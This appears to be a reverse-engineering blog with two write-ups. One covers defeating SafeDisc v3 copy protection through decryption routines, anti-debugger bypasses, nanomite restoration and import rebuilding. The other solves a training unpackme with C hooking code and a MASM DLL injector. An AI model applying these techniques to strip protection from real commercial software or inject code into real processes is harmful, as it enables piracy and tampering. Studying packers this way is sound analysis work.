 stxt774   00002059h  01864000h  00003000h  001A4000h  E0000020h  
 stxt371   00003358h  01867000h  00004000h  001A7000h  E0000020h  Import Table
								  Import Address Table

If we sum the last Real Offset and Real Size of stxt371 section :

>>> 0x1A7000 + 0x4000
1748992
>>> hex(0x1A7000 + 0x4000)
'0x1ab000'

1 748 992 bytes != 1 830 912 bytes.
Clearly there is some extra data at the end of the file.
By looking the main executable under IDA, I was able to find an interesting sub that retrieves and extracts those datas.
First, here is the structure used for extra data :

struct extra_data
{
	DWORD sig_1;
	DWORD sig_2;
	DWORD num_file;
	DWORD offset_1;
	DWORD offset_2;
	DWORD unknow_1;
	DWORD unknow_2;
	BYTE  name[0xD];
};

sig_1 must always be set to 0xA8726B03 and sig_2 to 0xEF01996C
And after deleting all there (weak?) obfuscation, we can retrieve the following "pseudo code" to extract additionnal data.

do
{
	SetFilePointer(hFile, actual_pos, NULL, FILE_BEGIN);
	ReadFile(hFile, buff, 0x121, &bread, 0);
	key = actual_pos;

	for (i = 0; i < bread; i++)
	{
		key = key * 0x13C6A5;
		key += 0x0D8430DED;
		buff[i] ^= (((((key >> 0x10) ^ (key >> 0x8)) ^ (key >> 0x18)) ^ (key & 0xFF)) & 0xFF);
	}
	memcpy(&data, buff, sizeof(struct extra_data));
	print_data_info(&data);

	actual_pos += data.offset_1 + data.offset_2;

} while (data.sig_1 == 0xA8726B03 && data.sig_2 == 0xEF01996C);

Result :

Name : ~def549.tmp
Num : 1
Name : clcd32.dll
Num : 1100
Name : clcd16.dll
Num : 1100
Name : mcp.dll
Num : 1101
Name : SECDRV.SYS
Num : 2
Name : DrvMgt.dll
Num : 2
Name : SecDrv04.VxD
Num : 11
Name : ~e5.0001
Num : 0
Name : PfdRun.pfd
Num : 0
Name : ~df394b.tmp
Num : 0

As you can see we can extract a lot of files, and here is the algorithm to decypher it :

ptr = (BYTE*)GlobalAlloc(GPTR, data.offset_1);
SetFilePointer(hFile, actual_pos - data.offset_1, NULL, FILE_BEGIN);
ReadFile(hFile, ptr, data.offset_1, &bread, NULL);
if (bread != data.offset_1)
{
	printf("[-] ReadFile() failed\n");
	exit(0);
}
key = 0x8142FEA1;
int init_key;
init_key = 0x8142FEA1;
for (i = 0; i < bread; i++)
{
	key = init_key ^ 0x7F6D09ED;
	ptr[i] = (((((key >> 0x18) ^ (key >> 0x10)) ^ (key >> 0x8))) & 0xFF) ^ ptr[i];
	ptr[i] ^= key & 0xFF;
	init_key = init_key << 0x8;
	init_key += ptr[i];
}

Each component will be extracted into %temp% path, they got their own goal, we will not study all of them there is no interest.

I will not discuss more about all this stuff, by loosing all my idb I am bored to reverse (rename sub) again and again with all this shitty C++ stuff, you can find some fun crypto when they decypher pfd file or code section, rijndael modified, different xor operation, anyway let's continue !

Find OEP

This is the easiest part :

stxt371:018670A2                 mov     ebx, offset start
stxt371:018670A7                 xor     ecx, ecx
stxt371:018670A9                 mov     cl, ds:byte_186703D
stxt371:018670AF                 test    ecx, ecx
stxt371:018670B1                 jz      short loc_18670BF
stxt371:018670B3                 mov     eax, offset loc_1867113
stxt371:018670B8                 sub     eax, ebx
stxt371:018670BA                 sub     eax, 5
stxt371:018670BD                 jmp     short loc_18670CD
stxt371:018670BF ; ---------------------------------------------------------------------------
stxt371:018670BF
stxt371:018670BF loc_18670BF:                            ; CODE XREF: start+13j
stxt371:018670BF                 push    ecx
stxt371:018670C0                 mov     ecx, offset loc_1867159
stxt371:018670C5                 mov     eax, ecx
stxt371:018670C7                 sub     eax, ebx
stxt371:018670C9                 add     eax, [ecx+1]
stxt371:018670CC                 pop     ecx
stxt371:018670CD
stxt371:018670CD loc_18670CD:                            ; CODE XREF: start+1Fj
stxt371:018670CD                 mov     byte ptr [ebx], 0E9h
stxt371:018670D0                 mov     [ebx+1], eax

This code will replace Module Entrypoint by a jump to Real OEP, so if you like using OllyDbg execute first instructions and put a breakpoint on that jump.
But you will encounter a "dead lock" problem, before jumping to real OEP, it decyphers sections, loads dll AND CreateProcess "~e5.0001" giving the pid of the game process as argument.
This process will load ~df394b.tmp aka SecServ.dll, all strings inside this dll are encrypted, we can decrypt all of them :

int decrypt_func_01(char *mem_alloc, char *addr_to_decrypt)
{
    DWORD count;
    DWORD key;
    char  actual;

    if (mem_alloc && addr_to_decrypt)
    {
        count = 0;
        key = 0x522CFDD0;
        while (1)
        {
            actual = *addr_to_decrypt++;
            actual = actual ^ (char)key;
            *mem_alloc++ = actual;
            key = 0xA065432A - 0x22BC897F * key;
            if (!actual)
                break;
            if (count != 127)
            {
                count++;
                continue;
            }
            return 0;
        }
        return 1;
    }
    else
        return 0;
}

Here is the result of all strings decyphered :

Addr = 667A9240 : drvmgt.dll
Addr = 667A9264 : secdrv.sys
Addr = 667A9298 : SecDrv04.VxD
Addr = 667A92BC : ALT_
Addr = 667A9C78 : Kernel32
Addr = 667AA71C : \\.\NTICE
Addr = 667AA73C : \\.\SICE
Addr = 667AA75C : \\.\SIWVID
Addr = 667AAB80 : .text
Addr = 667A9928 : Ntdll.dll
Addr = 667A9948 : Kernel32
Addr = 667AA3F0 : GetVersionExA
Addr = 667AA6BC : ZwQuerySystemInformation
Addr = 667AA6EC : NtQueryInformationProcess
Addr = 667AA780 : IsDebuggerPresent
Addr = 667AAB50 : ZwQuerySystemInformation
Addr = 667AADBC : ExitProcess
Addr = 667A99F8 : DeviceIoControl
Addr = 667A9A40 : CreateFileA
Addr = 667A9A64 : ReadProcessMemory
Addr = 667A9A8C : WriteProcessMemory
Addr = 667A9AB8 : VirtualProtect
Addr = 667A9AE0 : CreateProcessA
Addr = 667A9B08 : CreateProcessW
Addr = 667A9B30 : GetStartupInfoA
Addr = 667A9B58 : GetStartupInfoW
Addr = 667A9B80 : GetSystemTime
Addr = 667A9BA4 : GetSystemTimeAsFileTime
Addr = 667A9BD4 : TerminateProcess
Addr = 667A9BFC : Sleep
Addr = 667AB8C0 : WriteProcessMemory
Addr = 667AB8EC : FlushInstructionCache
Addr = 667AB918 : VirtualProtect
Addr = 667ABB90 : SetThreadContext
Addr = 667ABBB8 : GetThreadContext
Addr = 667ABBE0 : SuspendThread
Addr = 667ABB64 : FlushInstructionCache
Addr = 667ABB38 : WriteProcessMemory
Addr = 667ABC84 : ContinueDebugEvent
Addr = 667ABB0C : DebugActiveProcess
Addr = 667ABAE4 : WaitForDebugEvent
Addr = 667A99F8 : DeviceIoControl
Addr = 667ACF00 : System\CurrentControlSet\Services\VxD
Addr = 667ACF5C : cmapieng.vxd
Addr = 667ACF3C : StaticVxD

The most interesting things are DebugActiveProcess, ContinueDebugEvent, WriteProcessMemory, FlushInstructionCache, SetThreadContext.
As I said earlier this dll will be in charge of debugging the game process, it prevents debugging it with Olly or any Ring3 debugger.
The game process after calling CreateProcess will wait (WaitForSingleObject) signal that temp executable will attach to it and give it signal and continue to debug it, but if you are already debugging game process, WaitForSingleObject will never catch this signal.
All the code below can be found inside ~df394.tmp aka SecServ.dll :

.text:667250C1
.text:667250C1 loc_667250C1:                           ; CODE XREF: sub_66724FDE+D5j
.text:667250C1                 push    0FFFFFFFFh      ; dwMilliseconds
.text:667250C3                 push    edi             ; hHandle
.text:667250C4                 call    ds:WaitForSingleObject
.text:667250CA                 push    [ebp+hObject]   ; hObject
.text:667250CD                 mov     [ebp+return_value], eax
.text:667250D0                 call    esi ; CloseHandle
.text:667250D2                 push    edi             ; hObject
.text:667250D3                 call    esi ; CloseHandle
.text:667250D5                 cmp     [ebp+return_value], 0 ; WAIT_OBJECT_0
.text:667250D9                 pop     edi
.text:667250DA                 pop     esi
.text:667250DB                 jz      short exit_func
.text:667250DD                 call    ebx ; GetLastError
.text:667250DF                 call    Exit_Process
.text:667250E4
.text:667250E4 exit_func:                              ; CODE XREF: sub_66724FDE+11j
.text:667250E4                                         ; sub_66724FDE+20j ...
.text:667250E4                 pop     ebx
.text:667250E5                 leave
.text:667250E6                 retn
.text:667250E6 sub_66724FDE    endp
.text:667250E6

If you want to use OllyDBG, put a breakpoint on WaitForSingleObject call, and modify argument TIMEOUT to something different than INFINITE, and change ZF flag during the test of the return value.

Nanomites

Now the fun stuff can start, if you followed what I said, you can continue to debug game process, but at a moment you will encounter problem like follow :

.text:004519FC                 call    ds:dword_5331B0 ; kernel32.IsBadReadPtr
.text:004519FC ; ---------------------------------------------------------------------------
.text:00451A02                 db 0CCh
.text:00451A03                 db 0CCh ;
.text:00451A04                 db 0CCh ;
.text:00451A05                 db 0CCh ;

What are doing these 0xCC (int 3) aka Trap to Debugger or software breakpoint after a call to a kernel32 API ?
It's a well known technique, instructions are replaced by this opcode and informations about the removed opcode is stored in a table. (Remember pfd file ?)
Then, by using self-debugging, when one of these breakpoints is hit, the debugging process will handle the debug exception, and will look up certain information about the debugging break.

But the problem is, if Nanomites are called several times, it can impact a little the performance, right ? (Not anymore today), but Safedisc decided to count how much time a Nanomite is executed, and if this Nanomite is executed too much time, it will restore the replaced opcodes by writting it inside the debugged process.
So if we want to fix theses Nanomites, we just have to patch a branch instruction that say : "This nanomites has been executed too much time, restore opcode !", and scan txt section of game process to find all the nanomites, call them, and the debugger process will restore all the removed opcode :).

How To

When unpacking (real?) protection you need to write cool toolz, here are all the steps that I did :

Need a diagram ?


I encountered a little problem during those operation, if we create a thread at an addr containing 0xCC followed by nop operation (0x90), Safedisc debugger crashes or emulates shit...
Visual Studio uses 0xCC, 0x90 and 0x00 opcode for padding, don't ask me why they don't just use only 0x00, I don't know.
Just so you know, if you don't provide the full path of these dll while you are injecting it, the first dll must be placed in the folder of the game process, and the second one in %temp% path, because debugger process is extracted and executed here.

You can find the branch instruction inside ~def394.tmp (SecServ.dll) at addr 0x6678F562 :

.txt5:6678F562                 cmp     ax, 1
.txt5:6678F566                 jnz     not_write_process_memory

Result

Just some debug information :

---
Process id : 894
EventCode : 1
Exception Code : 80000003
Exception Addr : 40170F
---
[+] GetThreadContext(0xB8, 0x635080); return_addr = 66733C55
lpContext->EIP = 7C91120F
[+] WriteProcessMemory(0x5C, 0x40170F, 0x61F58C, 0x2, 0x61F0F0); return_addr = 6672BA45
85 C0 
[+] SetThreadContext(0xB8, 0x635080); return_addr = 66733C23
lpContext->EIP = 40170F
---

As you can see at address 0x40170F, an event occured 0x1 -> EXCEPTION_DEBUG_EVENT and his code 0x80000003 (EXCEPTION_BREAKPOINT), so the debugger process replaces the 0xCC 0xCC by 0x85 0xC0 -> "test eax, eax", and try to SetThreadContext but we hooked it to terminate the thread.


Restoring Imports

Like the previous version import points to some virtual address where the code calls routine to find the correct import.
By using algo against itself we can resolve all correct address of imports.
Inside txt section we can find different type of call to imports :

The idea is simple, scan .txt section look for call dword ptr or jmp dword ptr or jmp section Stxt774, hook the function that resolve the api and get the result and save into into a linked list.
This function in question is in ~df394b.tmp :

.txt:6678D644                 call    resolve_api
.txt:6678D649                 pop     ecx
.txt:6678D64A                 pop     ecx

Just replace the pop ecx, by "add esp, X; ret" and get the result into register eax.



BUT ! Sometimes by calling the same virtual_addr but from other location it don't resolve the same API address.

API (0x7E3AC17E) has rdata.0x53327C (txt.0x51A656)  rdata.0x53327C (txt.0x454509)  rdata.0x53327C (txt.0x454149)  rdata.0x533260 (txt.0x453773)  rdata.0x53327C (txt.0x4535BD)
API (0x7E39869D) has rdata.0x53329C (txt.0x51A686)  rdata.0x53329C (txt.0x50B64E)  rdata.0x53329C (txt.0x50B1E4)  rdata.0x53327C (txt.0x4FDC5E)  rdata.0x53329C (txt.0x4FD7CA)  rdata.0x533284 (txt.0x4FD718)  

As you can see the address in rdata 0x53327C, can resolve different API when it is called from different locations (txt address).
To fix it, it's very simple we reorder the linked list according to the api address, and choose one rdata for each call, and we will change value of the call or jmp dword ptr at txt address for each entry of an api.

After reorder

Output after reordering :

API (0x7E3AC17E) has rdata.0x53327C (txt.0x51A656)  rdata.0x53327C (txt.0x454509)  rdata.0x53327C (txt.0x454149)  rdata.0x53327C (txt.0x453773)  rdata.0x53327C (txt.0x4535BD)  
API (0x7E39869D) has rdata.0x53329C (txt.0x51A686)  rdata.0x53329C (txt.0x50B64E)  rdata.0x53329C (txt.0x50B1E4)  rdata.0x53327C (txt.0x4FDC5E)  rdata.0x53329C (txt.0x4FD7CA)  rdata.0x533284 (txt.0x4FD718)

We can now write back into rdata addr the real adress of the api and fix the call or jmp at adress in txt section, to point to the good rdata address.
Now you can look with ImportRec and see that all imports are restored correctly :)

To fix jmp section Stxt774, we just have to replace the jmp by a call dword ptr[rdata], but wait jmp stxt774 is 5 bytes and we need 6 bytes to change it to call dword ptr, don't worry, after resolving the api and ret to it, the api will return at jmp stxt774 + 6, so there is enough place.


And Import Reconstructor is happy (Invalid imports 0) :


Emulated opcodes

After fixing Nanomites and restoring imports, I encounter a last problem.

.text:00404909                 push    ecx
.text:0040490A                 push    eax
.text:0040490B                 call    sub_4013F3
.text:0040490B sub_404909      endp ; sp-analysis failed
.text:0040490B
.text:004013F3                 mov     eax, 1E1Bh
.text:004013F8                 pop     ecx
.text:004013F9                 lea     eax, [eax+ecx]
.text:004013FC                 mov     eax, [eax]
.text:004013FE                 jmp     eax

This code will just compute an address in txt section, get the value pointed by this address and jump to it. The jump destination is an address from ~df394b.tmp.


The goal of sub 0x6673E090 is simply to check from where it has been called, lookup in a table of emulated opcodes and restore it.
Here only one emulation is performed then it will write original opcode back.
Like for restoring imports, we find each reference to the sub 0x00404909, setup an hook at the end of the sub 0x6673E09, call each reference, and emulated opcodes will be restored automatically :)


Conclusion

Safedisc v3 is really not difficult, you can find the source of all my codes at the end of this post.
I will go back to school project, hopefully graduating this year :)

Sources

Injector

First dll

Second dll

11/03/2012

Binary Auditing Training Package unpackme_03

Introduction

Today, I was bored so I decided to have fun with http://www.binary-auditing.com/.
And I found a very fun challenge inside unpacking exercices :

unpackme_03

Unpackme

Packer starts here :

seg009:00411800 start           proc near
seg009:00411800                 call    $+5
seg009:00411805                 xor     ebp, ebp
seg009:00411807                 pop     ebp
seg009:00411808                 sub     ebp, offset word_401A1E
seg009:0041180E                 xor     ebx, ebx
seg009:00411810                 lea     eax, byte_401A4D[ebp]
seg009:00411816
seg009:00411816 loc_411816:                             ; CODE XREF: start+1Fj
seg009:00411816                 inc     bl
seg009:00411818                 mov     cl, [eax]
seg009:0041181A                 xor     cl, bl
seg009:0041181C                 cmp     cl, 55h
seg009:0041181F                 jnz     short loc_411816
seg009:00411821                 mov     ecx, 55Ah
seg009:00411826                 lea     esi, byte_401A4D[ebp]
seg009:0041182C                 mov     edi, esi
seg009:0041182E
seg009:0041182E loc_41182E:                             ; CODE XREF: start+32j
seg009:0041182E                 lodsb
seg009:0041182F                 xor     al, bl
seg009:00411831                 stosb
seg009:00411832                 loop    loc_41182E

The first loop is for computing key for XOR operation. ebx will be equal to 0x77.
The second loop will decrypt first stage of the packer with the key stored into ebx.
Next the packer will resolve base address of kernel32.dll by getting the current structured exception handling (SEH) frame into fs:[0] and get an address inside kernel32 after the seh handler, and back from this address into memory for finding 'PE' and 'MZ' signature.


At this point it will have the base address of kernel32.dll
Then it will parse PE header of this dll, get export function name table and search for GlobalAlloc().
It will Alloc some space, and copy different portion of code into it. We will return to the analysis of this code later (some stuff are here for api resolution during main execution).
For not loosing time by analysing all the copy of portion of code, we will setup memory breakpoint on acces on code section and run our debugger.


We land here :

00157BFC    AD                         LODS DWORD PTR DS:[ESI]
00157BFD    35 DEC0ADDE                XOR EAX,DEADC0DE
00157C02    AB                         STOS DWORD PTR ES:[EDI]
00157C03  ^ E2 F7                      LOOPD SHORT 00157BFC
00157C05    C3                         RET

At this point ecx equal to 0x1E00, and raw size of code section equal to 0x7800, so it's actually deciphering all code section with 0xDEADCODE as XOR key.
Disable the memory breakpoint on access, and go to ret, then do the operation again (setup memory breakpoint acces), and we land here :

00157BEB    8DBD BF6F4000   	       LEA EDI,DWORD PTR SS:[EBP+406FBF]
00157BF1    8B85 A71F4000              MOV EAX,DWORD PTR SS:[EBP+401FA7]
00157BF7    8B0F                       MOV ECX,DWORD PTR DS:[EDI]
00157BF9    81C1 00004000              ADD ECX,400000                           ; ASCII "MZP"
00157BFF    C601 E8                    MOV BYTE PTR DS:[ECX],0E8
00157C02    83C1 05                    ADD ECX,5
00157C05    50                         PUSH EAX
00157C06    2BC1                       SUB EAX,ECX
00157C08    8941 FC                    MOV DWORD PTR DS:[ECX-4],EAX
00157C0B    58                         POP EAX
00157C0C    81C7 88000000              ADD EDI,88
00157C12    837F 04 00                 CMP DWORD PTR DS:[EDI+4],0
00157C16  ^ 75 DF                      JNZ SHORT 00157BF7
00157C18    C3                         RET

Do you recognize this operation ?
Opcode 0xE8, add 5 ?, it is making a call.
The destination of the call (eax) go to the first virtual part I talked, we will call this "api address solving".
The packer is making call redirection for each API.
The next memory breakpoint on access will land us here :

004085D4    E8 9706D5FF                CALL 00158C70

A call crafted juste before, let's follow it.

00158C70    9C                         PUSHFD
00158C71    60                         PUSHAD
00158C72    E8 00000000                CALL 00158C77
00158C77    5D                         POP EBP
00158C78    81ED 1C1C4000              SUB EBP,401C1C
00158C7E    8BBD B01C4000              MOV EDI,DWORD PTR SS:[EBP+401CB0]
00158C84    8B7424 24                  MOV ESI,DWORD PTR SS:[ESP+24]
00158C88    83EE 05                    SUB ESI,5
00158C8B    81EE 00004000              SUB ESI,400000                                        ; ASCII "MZP"
00158C91    81EF 88000000              SUB EDI,88
00158C97    81C7 88000000              ADD EDI,88
00158C9D    3B37                       CMP ESI,DWORD PTR DS:[EDI]
00158C9F  ^ 75 F6                      JNZ SHORT 00158C97
00158CA1    68 2680ACC8                PUSH C8AC8026
00158CA6    FFB5 B41C4000              PUSH DWORD PTR SS:[EBP+401CB4]
00158CAC    E8 A4000000                CALL 00158D55
00158CB1    8D4F 48                    LEA ECX,DWORD PTR DS:[EDI+48]
00158CB4    8BD1                       MOV EDX,ECX
00158CB6    E8 3B000000                CALL 00158CF6
00158CBB    51                         PUSH ECX
00158CBC    FFD0                       CALL EAX
00158CBE    93                         XCHG EAX,EBX
00158CBF    68 EEEAC01F                PUSH 1FC0EAEE
00158CC4    FFB5 B41C4000              PUSH DWORD PTR SS:[EBP+401CB4]
00158CCA    E8 86000000                CALL 00158D55
00158CCF    8D4F 08                    LEA ECX,DWORD PTR DS:[EDI+8]
00158CD2    E8 1F000000                CALL 00158CF6
00158CD7    51                         PUSH ECX
00158CD8    53                         PUSH EBX
00158CD9    FFD0                       CALL EAX
00158CDB    8D4F 08                    LEA ECX,DWORD PTR DS:[EDI+8]
00158CDE    E8 13000000                CALL 00158CF6
00158CE3    8D4F 48                    LEA ECX,DWORD PTR DS:[EDI+48]
00158CE6    E8 0B000000                CALL 00158CF6
00158CEB    894424 1C                  MOV DWORD PTR SS:[ESP+1C],EAX
00158CEF    61                         POPAD
00158CF0    9D                         POPFD
00158CF1    83C4 04                    ADD ESP,4
00158CF4    FFE0                       JMP EAX

Maybe with a schem it will be more clear, example of a typical call to an api :


So if you follow me, here is the structur for each api :

struct api
{
	DWORD 	offset;			/* +0x00 */
	DWORD 	unknow;			/* +0x04 */
	char	api_name[0x40];		/* +0x08 */
	char	dll_name[0x40];		/* +0x48 */
};

Here is one exemple :


Writing test program :

> cat test.c
int main(void)
{
  char api_name[] = "\xB8\x9A\x8B\xB2\x90\x9B\x8A\x939A\xB7\x9E\x91\x9B\x93\x9A\xBE\xFF\xFF";
  char dll_name[] = "\xB4\xBA\xAD\xB1\xBA\xB3\xCC\xCD\xD1\xBB\xB3\xB3\xFF\xFF";
  int i;

  for (i = 0; i < strlen(api_name); i++)
    api_name[i] = ~api_name[i];
  for (i = 0; i < strlen(api_name); i++)
    dll_name[i] = ~dll_name[i];
  printf("%s\n", api_name);
  printf("%s\n", dll_name);
}
> ./test
GetModueHandleA
KERNEL32.DLL

This entry in the table was for solving call to GetModuleHandleA() from kernel32.dll
So for dumping our program, we will have to reconstruct all those redirections, we will write a dll and inject it into the process.
What the injected code will do ?


But have we got enough for replacing call by jmp dword ptr [idata_section], the answer is yes !, the packer have replace them and left 1 byte between each call.


Opcode for jmp dword ptr [0x42424242] = FF 25 42 42 42 42, size : 6, we got enought place.

Code for the dll :

#include <stdio.h>
#include <Windows.h>

#define LDE_X86 0

#ifdef __cplusplus
extern "C"
#endif
int __stdcall LDE(void* address , DWORD type);

void	fix_call(void)
{
	IMAGE_DOS_HEADER *idh = NULL;
	IMAGE_NT_HEADERS *inh = NULL;
	IMAGE_SECTION_HEADER *ish = NULL;
	IMAGE_SECTION_HEADER *ish_import = NULL;
	DWORD imagebase;
	DWORD imageend;
	FILE *fp = NULL;
	DWORD i;
	BYTE	*ptr;
	int val;
	DWORD addr_call;
	DWORD nb_api = 0;

	fp = fopen("debug_msg.txt", "w");
	if (!fp)
		MessageBoxA(NULL, "fopen failed :(", "failed", 0);
	imagebase = (DWORD)GetModuleHandle(NULL);
	idh = (IMAGE_DOS_HEADER *)imagebase;
	inh = (IMAGE_NT_HEADERS *)((BYTE*)imagebase + idh->e_lfanew);
	ish = (IMAGE_SECTION_HEADER*)((BYTE*)inh + sizeof (IMAGE_NT_HEADERS));
	imageend = imagebase + inh->OptionalHeader.SizeOfImage;
	fprintf(fp, "Image Base : %08X\nImage End : %08X\n", imagebase, imageend);
	ish = (IMAGE_SECTION_HEADER*)((BYTE*)inh + sizeof (IMAGE_NT_HEADERS));
	ish_import = (IMAGE_SECTION_HEADER*)((BYTE*)inh + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * 4);
	fprintf(fp, "Ish Import : %08X\n", imagebase + ish_import->VirtualAddress);
	for (i = 0; i < ish->Misc.VirtualSize; i++)
	{
		ptr = (BYTE*)(imagebase + ish->VirtualAddress + i);
		/* Look for a call */
		if (*(ptr) == 0xE8)
		{
			val = *(ptr + 4) << 0x18 | *(ptr + 3) << 0x10 | *(ptr + 2) << 0x8  | *(ptr + 1);
			val += imagebase + ish->VirtualAddress + i + 5;
			/* Is destination inside code section ? */
			if (val > imagebase + ish->VirtualAddress && val < imagebase + ish->VirtualAddress + ish->Misc.VirtualSize)
			{
				ptr = (BYTE*)val;
				addr_call = val;
				/* Look for a call */
				if (*(ptr) == 0xE8)
				{
					val = *(ptr + 4) << 0x18 | *(ptr + 3) << 0x10 | *(ptr + 2) << 0x8  | *(ptr + 1);
					val += (int)ptr + 5;
					/* Is destination is not into code section ? */
					if (val < imagebase + ish->VirtualAddress || val > imagebase + ish->VirtualAddress + ish->Misc.VirtualSize)
					{
						fprintf(fp, "Call Redirect found at %08X to %08X, ", imagebase + ish->VirtualAddress + i, val);
						ptr = (BYTE*)val;
						/* Change JMP EAX to JMP EBX */
						val = imagebase + ish->VirtualAddress + i;
						*(ptr + 0x85) = 0xE3;
						__asm
						{
							pushad
							mov ebx, end_api
							mov eax, val
							call eax
							end_api:
							add esp, 8
							mov val, eax
							popad
						}
						fprintf(fp, "Addr Api : %08X\n", val);
						/* Put Api Addr into idata section */
						ptr = (BYTE*)(imagebase + ish_import->VirtualAddress + 0x58 + nb_api * 8);
						memcpy(ptr, &val, 4);
						val = (imagebase + ish_import->VirtualAddress + 0x58 + nb_api * 8);
						/* Replace call by jmp dword ptr [idata_section] */
						ptr = (BYTE*)addr_call;
						*ptr = 0xFF;
						*(ptr + 1) = 0x25;
						memcpy(ptr + 2, &val, 4);
						nb_api++;
					}
				}
			}
		}
	}
	fclose(fp);
}

BOOL (__stdcall *Resume_GetVersionExA)(LPOSVERSIONINFO lpVersionInfo) = NULL;

BOOL __stdcall Hook_GetVersionExA(LPOSVERSIONINFO lpVersionInfo)
{
	DWORD	return_addr;

	__asm
	{
		mov eax, [ebp + 4]
		mov return_address, eax
	}
	if (return_addr == 0x00405ABF)
	{
		MessageBoxA(NULL, "ready ?", "Ready ?", 0);
		fix_call();
		__asm jmp $
	}
	return Resume_GetVersionExA(lpVersionInfo);
}

void	setup_hook(char *module, char *name_export, void *Hook_func, void *trampo)
{
	DWORD	OldProtect;
	DWORD	len;
	FARPROC	Proc;

	Proc = GetProcAddress(GetModuleHandleA(module), name_export);
	if (!Proc)
	{
		MessageBoxA(NULL, name_export, module, 0);
	}
	len = 0;
	while (len < 5)
		len += LDE((BYTE*)Proc + len , LDE_X86);
	memcpy(trampo, Proc, len);
	*(BYTE *)((BYTE*)trampo + len) = 0xE9;
	*(DWORD *)((BYTE*)trampo + len + 1) = (BYTE*)Proc - (BYTE*)trampo - 5;
	VirtualProtect(Proc, len, PAGE_EXECUTE_READWRITE, &OldProtect);
	*(BYTE*)Proc = 0xE9;
	*(DWORD*)((char*)Proc + 1) = (BYTE*)Hook_func - (BYTE*)Proc - 5;
	VirtualProtect(Proc, len, OldProtect, &OldProtect);
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
	DisableThreadLibraryCalls(GetModuleHandleA("inject_unpackme03.dll"));
	Resume_GetVersionExA = (BOOL(__stdcall *)(LPOSVERSIONINFO))VirtualAlloc(0, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memset(Resume_GetVersionExA, 0x90, 0x1000);
	setup_hook("kernel32.dll", "GetVersionExA", &Hook_GetVersionExA, Resume_GetVersionExA);
	return (1);
}
My code use the Length Disassembly Engine from BeatriX.
Now we code a little injector in masm for changing :
.386
.model flat,stdcall
option casemap:none

include \masm32\include\windows.inc 
include \masm32\include\kernel32.inc 
includelib \masm32\lib\kernel32.lib

.data
PInfo 			PROCESS_INFORMATION <> 
SInfo			STARTUPINFOA		<>

Kernel			db		"kernel32.dll", 0
LLib			db		"LoadLibraryA", 0
exe_name		db 		"03_unpackme.exe", 0
dll_name		db		"inject_unpackme03.dll", 0
Addr_name		dd		0

.code
start:
	invoke GetStartupInfo, addr SInfo 
	invoke CreateProcess, addr exe_name, NULL, NULL, NULL, FALSE,
						CREATE_SUSPENDED, NULL, NULL, addr SInfo, addr PInfo
	invoke VirtualAllocEx, PInfo.hProcess, 0, 100h, MEM_COMMIT, PAGE_READWRITE
	mov [Addr_name], eax
	invoke WriteProcessMemory, PInfo.hProcess, Addr_name, addr dll_name, LENGTHOF dll_name, NULL
	invoke GetModuleHandleA, addr Kernel
	invoke GetProcAddress, eax, addr LLib
	invoke CreateRemoteThread, PInfo.hProcess, NULL, 0, eax, [Addr_name], 0, NULL
	invoke WaitForSingleObject, eax, INFINITE
	invoke ResumeThread, PInfo.hThread
	
exit:
	invoke ExitProcess, 0
end start

So as you can see, I used a little trick for waiting unpacking of all executables :
I setup an hook on GetVersionExA() and if the call occurs from one interesting address (near OEP), I call fix "fix_call" function and enter in infinite loop.
With this infinite loop we can attach Olly to our process and watch the result :


It's cool, but wait i forgot to talk about one thing, finding real OEP !
Restart OllyDBG, let the loop xor all the first stage, and setup breakpoint on :
0041196F    E8 C2010000     CALL 03_unpac.00411B36
Step into and add breakpoint on :
00411B61    FF95 4B1D4000   CALL DWORD PTR SS:[EBP+401D4B]
You should land here (Addr can change due to allocated memory) :
00157C44  ^\FFA5 BB1F4000   JMP DWORD PTR SS:[EBP+401FBB]
Trace the code until you got something like that :
00153BC4    9D              POPFD
00153BC5    61              POPAD
00153BC6    5A              POP EDX
00153BC7    58              POP EAX
00153BC8    E8 D35F0000     CALL 00159BA0
If we step into, we will find something very interesting :
00159BA0    60              PUSHAD
00159BA1    E8 00000000     CALL 00159BA6
00159BA6    5D              POP EBP
00159BA7    81ED E21B4000   SUB EBP,401BE2
00159BAD    8B7424 20       MOV ESI,DWORD PTR SS:[ESP+20]
00159BB1    83EE 05         SUB ESI,5
00159BB4    8B9D 111C4000   MOV EBX,DWORD PTR SS:[EBP+401C11]
00159BBA    83EB 28         SUB EBX,28
00159BBD    83C3 28         ADD EBX,28
00159BC0    3973 10         CMP DWORD PTR DS:[EBX+10],ESI
00159BC3  ^ 75 F8           JNZ SHORT 00159BBD
00159BC5    8B73 08         MOV ESI,DWORD PTR DS:[EBX+8]
00159BC8    89B5 0C1C4000   MOV DWORD PTR SS:[EBP+401C0C],ESI
00159BCE    61              POPAD
00159BCF    68 DEC0ADDE     PUSH DEADC0DE
00159BD4    C3              RET
This not api resolution, but call resolution !
This sub is quite simple, like api resolution it will check into a table the offset of the call and replace 0xDEADCODE by the addr of the (stolen ?) call.
I think (it's not sure) the packer has stolen some call from the virgin file and reconstruct them with a push addr ret.

Let's put a conditional log on ret address ( Expression = "[esp]" ).
We run the program and exit him and watch the log.
00159BD4   COND: 004085D4
00159BD4   COND: 00402128
00159BD4   COND: 004014C4
00159BD4   COND: 0040212C
00159BD4   COND: 00402D44
00159BD4   COND: 004085D4
00159BD4   COND: 00403D20
00159BD4   COND: 00403FA4
00159BD4   COND: 00403394
00159BD4   COND: 004033A4
00159BD4   COND: 00402F2C
00159BD4   COND: 004085B6
00159BD4   COND: 004085AA
00159BD4   COND: 00405BD4
00159BD4   COND: 00405C18
00159BD4   COND: 004066AC
00159BD4   COND: 004066B4
00159BD4   COND: 00406978
00159BD4   COND: 004085D4
7E390000   Module C:\WINDOWS\system32\USER32.DLL
00159BD4   COND: 00405B84
77EF0000   Module C:\WINDOWS\system32\GDI32.dll
           Process terminated, exit code 0
If you remember at the begining of the article, the second breakpoint on access on code section land us to the first entry of your log, is it OEP ?
I don't think so, it's a call to GetModuleHandleA(), ... strange, ... strange.
If you look closely, there is another thing strange, before the log of the loading module "USER32.dll", we can see a call to 0x004085D4, but this call is just a redirection to GetModuleHandleA, so what's happen between ?
We will restart our debugger and put a breakpoint on the ret of the call redirection function and wait until it go to the last 0x004085D4.


We trace the code, call "api address solving", we put a breakpoint on the JMP EAX, trace into GetModuleHandleA(), and execute till return.
We are back into virtual memory code, and trace it until get :
00154119    9D              POPFD
0015411A    61              POPAD
